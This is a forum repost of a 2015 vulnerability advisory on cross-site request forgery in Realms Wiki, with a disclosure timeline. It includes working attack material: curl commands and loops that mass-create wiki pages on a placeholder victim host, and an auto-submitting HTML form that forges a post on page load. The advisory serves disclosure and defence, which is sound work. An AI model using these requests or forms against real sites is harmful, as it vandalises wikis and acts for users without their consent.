KhiZaRix Posted March 26, 2015 Report Share Posted March 26, 2015 CSRF in Realms WikiVulnerability ReportMar 19, 2015Product: Realms WikiWebsite: RealmsGithub: https://github.com/scragg0x/realms-wikiCVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:C/A:N)Realms Wiki is vulnerable to Cross-Site Request Forgery on all posts. Especially of concern are New, Edit, and Revert. If Realms Wiki had significant authentication mechananisms such as site administration, user administration, and so forth, these too would be vulnerable to CSRF and the harm would be increased. A command-line example of the post to create a new page is as simple as:curl 'http://wiki.victim.example.com/test' --data 'name=test&message=passwords+and+stuff&content=%60%60%60%0A123456%0Apassword%0Alove%0Asex%0Asecret%0Agod%0A%60%60%60%0A'To create 600 pages:for i in $(seq 2 600); do curl -i 'http://wiki.victim.example.com/test'"$i" --data 'name=test'"$i"'&message=passwords+and+stuff&content=csrf+is+fun'"$i"; doneTo create a page for every word in the dictionary:while read word; do curl -i 'http://wiki.victim.example.com/'"$word" --data 'name='"$word"'&message=csrf&content=did+you+know+'"$word"; done </usr/share/dict/wordsThe repro for the CSRF is:<html><body onLoad="document.forms[0].submit();"><form action="http://wiki.victim.example.com/csrf-awesome" method="POST"><input type="hidden" name="name" value="csrf_awesome" /><input type="hidden" name="message" value="whatever data we want" /><input type="hidden" name="content" value="csrf is fun 1234" /><input type="submit" value="Submit form" /></form></body></html>Disclosure Timeline:Found: Thu, Mar 19, 2015Reported to author: Thu, Mar 19, 2015Full Disclosure: Thu, Mar 25, 2015The reason I have chosen to advance the timeline beyond what most people consider reasonable is because I reported a difficult to exploit remote code execution vulnerability to the author on Sun, 15 Mar 2015 and heard no response. Today makes 10 days since I reported the vulnerability and I have heard nothing back. Therefore I am using full-disclosure to warn users that their sites can be CSRFed. I am also posting the remote code execution vulnerability along with this (which is lower severity due to the difficulty in exploitation).Thanks to those who have written this wiki. It's well-written and will need some bug fixes. I plan on making many improvements to this wiki in the future.Regards,JavanteaSource: http://dl.packetstormsecurity.net/1503-exploits/realmswiki-xsrf.txt Quote Link to comment Share on other sites More sharing options...
.thumb.jpg.29b1f7ae7dd9ad5a11e41a710722ba35.jpg)